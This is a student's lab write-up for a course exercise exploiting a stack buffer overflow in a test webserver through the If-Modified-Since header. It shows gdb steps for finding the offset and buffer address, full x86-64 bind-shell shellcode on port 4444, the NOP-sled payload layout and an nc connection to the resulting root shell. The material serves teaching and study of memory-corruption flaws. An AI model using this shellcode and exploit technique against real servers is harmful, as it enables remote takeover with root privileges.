Lorenzo Cavada Mat. 220502

Third exercise of OffTech about Buffer Overflow. More information about the exercise can be found at this link. The code used in this exercise can be found here. The shellcode used in this exploit can be found here. This shellcode will open a new shell remotly accessible throw the port 4444.

The flaw.

The flaw described in the previous memo file allows a remote attacker to not only crash the server but also allow him/her to gain access to the server and perform arbitrary code. The idea of the attack is to fill the buffer with a lot of NOP operations (also called `NOP sled`) and, in the middle of that place some shellcode that will start a bash accessible from outside which will run with root privilege (same as the application). To do so is important to be able to overwrite the return address (expecially the `RIP`) with the one where the NOP sled start. So, when the request will be received by the server, it will start reading it, thanks to the buffer overflow the rip of the `memcpy` function will be overwritten and the execution will end on the NOP sled send with the request. The NOP sled will make the execution slide down till the shellcode injected that will be executed by the server opening a new shell accessible from the outside.

The exploit.

For this simulation, I've chosen to use the vulnerability related to the lack of input validation while handling the `If-Modified-Since` header field of the GET request. First of all, is important to understand how much attack surface the attacker has, so how many bytes can he send before starting to overwrite the return address. To do so I started the webserver using `gdb` in order to be able to see the status of the stack during the execution:

```
user# gdb webserver
(gdb) run 8080
```

After that, I proceed to use the following command to create a payload containing a GET request with the `If-Modified-Since` header parameters set to `n` "A" capable to cause an overflow.

```
python3 -c 'print("GET / HTTP/1.1\r\nIf-Modified-Since: " + "A"*n + "\r\n\r\n")' >
payload
bash exploit.sh
```

By decreasing the size of n and checking the status of the stack with:

```
(gdb) info stack
```

I was able to understand for which value of n I was able to completely overwrite the return address of the code. In my case, it was after 1136 bytes. That's mean that an attacker can use 1136 bytes to perform its attack. These bytes will need to include: the shellcode for the actual attack, a NOP sled big enough to be sure that the execution will end on the malicious code and, in the end, 8 other bytes are needed to set the return address to the one where the start of the NOP sled will be. Is now time

to understand where the buffer that we are using start. To do that I used the following command of gdb:

```
(gdb) x/200xb $rsp -n
```

This command allow me to go throw the content of the stack and by increasing the size of n I was able to go down the stack till where I found the first value set to `0x41` (the letter "A" in hex). In my case, this was at position `0x7ffff75af480`. This should be the value with which we want to overwrite the rip of the function (in reality is better to choose an address a few positions after that one because the first one may change a little bit). Is now time to perform the attack, so start the webserver and give a look to the `rce.py` script. This python script simply performs a GET request to the localhost with the header `If-Modified-Since` set in the following way:

```
\x90 *500 -> this are the first 500 NOP of the NOP sled
+
\x31\xc0\x31\xdb\x31\xd2\xb0\x01\x89\xc6\xfe\xc0\x89\xc7\xb2\x06\xb0\x29\x0f
\x05\x93\x48\x31\xc0\x50\x68\x02\x01\x11\x5c\x88\x44\x24\x01\x48\x89\xe6\xb2
\x10\x89\xdf\xb0\x31\x0f\x05\xb0\x05\x89\xc6\x89\xdf\xb0\x32\x0f\x05\x31\xd2
\x31\xf6\x89\xdf\xb0\x2b\x0f\x05\x89\xc7\x48\x31\xc0\x89\xc6\xb0\x21\x0f\x05
\xfe\xc0\x89\xc6\xb0\x21\x0f\x05\xfe\xc0\x89\xc6\xb0\x21\x0f\x05\x48\x31\xd2
\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48
\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x50\x5f\xb0\x3c\x0f\x05 -> This is the
shellcode for opening a new bash on the server
+
\x90 *497 -> this are the remaining 497 NOP of the NOP sled
+
\xb0\xf4\x5a\xf7\xff\x7f -> The address where the NOP sled start and that need to
overwrite the rip
```

By launching the `rce.py` script the server should not crash and should be possible to connect to the just created shell. To do that type in a new shell:

```
nc localhost 4444
```

Should now be possible to perform any kind of command with root privilege.

Thoughts on the breach

This attack allows a remote user to gain complete access to the server, performing any operation s/he wants. The attack is also easy to execute e always replicable making this vulnerability critical. Also running the webserver with root privilege lead to the creation of this malicious shell with the same privilege increasing, even more, the attack that a malicious user can perform.